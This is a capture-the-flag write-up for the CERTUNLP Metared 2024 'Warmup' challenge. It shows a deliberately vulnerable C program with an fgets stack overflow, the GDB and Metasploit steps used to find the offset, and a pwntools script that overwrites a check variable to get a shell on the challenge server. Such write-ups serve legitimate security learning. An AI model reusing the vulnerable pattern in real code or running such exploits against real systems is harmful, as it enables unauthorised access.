CERTUNLP - Metared 2024 CTF Writeup: Warmup

Writeup for CERTUNLP Metared 2024 CTF Pwn challenge Warmup

Hello and welcome back to another writeup. Today, we are solving the Pwn challenge Warmup for CERTUNLP Metared 2024 CTF. This was an interesting challenge which exploited a buffer overflow vulnerability. Let's get started!

The challenge gave us two files, a C source code reto.c and an ELF file reto which is just the compiled version of reto.c. As we have the source code, this challenge might be pretty easy. Let's look at reto.c first.

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
 
  int var;
  int check = 0x12345678;
  char buf[20];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x12345678) && (check != 0x54524543))
    printf ("\nClooosse!\n");
 
  if (check == 0x54524543)
   {
     printf("Yeah!! You win!\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Byee!\n");
   }
   return 0;
}

We have an initialised variable check and another variable buf where a buffer of length 20 is assigned. Then we have an fgets function which takes some user input and puts it into buf. There's one thing to note though, fgets can accept upto 45 characters however the buffer assigned to buf is just 20. This might be a case of simple buffer overflow.

Moving on, there's a conditional check which prints Clooosse! if check is not equal to either 0x12345678 or 0x54524543. This condition is checking for buffer overflow because if the buffer overflows into check it will overwrite the data inside check i.e. 0x12345678.

Another condition looks for the data 0x54524543 inside check and if it returns True, we get a shell! Great, so this is what we have to do. But, first we have to find the correct offset for buf and after the offset point, we can manipulate the check variable.

As buf is assigned the length of 20, I will first generate a payload of 30 characters and see what happens.

┌──(kali㉿kali)-[~/Documents/cert]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 30 > pattern.txt
                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Documents/cert]
└─$ gdb -q reto                                                                        
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.2 in 0.01ms using Python engine 3.11
Reading symbols from reto...
(No debugging symbols found in reto)
gef➤  run < pattern.txt
Starting program: /home/kali/Documents/cert/reto < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[buf]: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9

[check] 0xa3961

Clooosse!
[Inferior 1 (process 61005) exited normally]
gef➤  

What we are doing here is generating a payload of 30 characters and running the program inside GDB with the payload as an argument. We can see that the check variable is overwritten with 0xa3961. Let's examine this data with metasploit and see if we can figure out the offset.

┌──(kali㉿kali)-[~/Documents/cert]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0xa3961         
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 28 (adjusted [ little-endian: -1647771648 | big-endian: -1630472193 ] )
[+] Possible match at offset 808 (adjusted [ little-endian: -1647837184 | big-endian: -1630472449 ] )
[+] Possible match at offset 1588 (adjusted [ little-endian: -1647902720 | big-endian: -1630472705 ] )
[+] Possible match at offset 2368 (adjusted [ little-endian: -1647968256 | big-endian: -1630472961 ] )
[+] Possible match at offset 3148 (adjusted [ little-endian: -1648033792 | big-endian: -1630473217 ] )
[+] Possible match at offset 3928 (adjusted [ little-endian: -1648099328 | big-endian: -1630473473 ] )
[+] Possible match at offset 4708 (adjusted [ little-endian: -1648164864 | big-endian: -1630473729 ] )
[+] Possible match at offset 5488 (adjusted [ little-endian: -1648230400 | big-endian: -1630473985 ] )
[+] Possible match at offset 6268 (adjusted [ little-endian: -1648295936 | big-endian: -1630474241 ] )
[+] Possible match at offset 7048 (adjusted [ little-endian: -1648361472 | big-endian: -1630474497 ] )
[+] Possible match at offset 7828 (adjusted [ little-endian: -1648427008 | big-endian: -1630474753 ] )

metasploit did not respond with an exact match but there are several possible matches. Other matches in the list have very high offset. Luckily, we know the buf variable has a buffer of 20 thus, I will check the offset of 28. Let's generate another payload. This time I will use python and generate a static payload instead of a pattern.

┌──(kali㉿kali)-[~/Documents/cert]
└─$ python3 -c "print('A' * 28 + 'B' * 4)" > payload.txt
                                                                                                                                                           
┌──(kali㉿kali)-[~/Documents/cert]
└─$ gdb -q reto
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.2 in 0.01ms using Python engine 3.11
Reading symbols from reto...
(No debugging symbols found in reto)
gef➤  run < payload.txt
Starting program: /home/kali/Documents/cert/reto < payload.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

[check] 0x42424242

Clooosse!
[Inferior 1 (process 63795) exited normally]
gef➤  

Great! We see that the check variable is overwritten with exactly 4 'B' characters. (The hexadecimal representation of 'B' is 0x42)

Now that we know the offset, we can start crafting our payload that will grant us that shell. We know that for the program to drop us inside a shell, the check variable should have the data 0x54524543. But, because of the Little Endian order where the least significant byte is written first, we need to reverse these characters in our payload.

Let's go back to python:

┌──(kali㉿kali)-[~/Documents/cert]
└─$ python3                                             
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> payload = 'A' * 28 + '\x43\x45\x52\x54'
>>> with open("payload.txt", "w") as f:
...     f.write(payload)
... 
32
>>>

Moment of truth! Let's run the program with payload:

┌──(kali㉿kali)-[~/Documents/cert]
└─$ gdb -q reto
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.2 in 0.01ms using Python engine 3.11
Reading symbols from reto...
(No debugging symbols found in reto)
gef➤  run < payload.txt
Starting program: /home/kali/Documents/cert/reto < payload.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT
[check] 0x54524543
Yeah!! You win!
[Detaching after vfork from child process 66691]
Byee!
[Inferior 1 (process 66685) exited normally]
gef➤ 

Et voila! Here we have the perfect payload. The only thing left to do now is send this to the actual CTF server. Here's my final payload written in python.

exploit.py
#/bin/python3
from pwn import *

host = 'warmup.ctf.cert.unlp.edu.ar'
port = 35000

payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT'

p = remote(host, port)
p.sendline(payload)
p.interactive()

Let's run this and get the flag.

┌──(kali㉿kali)-[~/Documents/cert]
└─$ python3 exploit.py
[+] Opening connection to warmup.ctf.cert.unlp.edu.ar on port 35000: Done
[*] Switching to interactive mode
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT
[check] 0x54524543
Yeah!! You win!
Byee!
$ ls
flag.txt
$ cat flag.txt
flag{*********}

And, Warmup is pwned! Thank you for reading and I will see you in the next writeup. Adios!

Last updated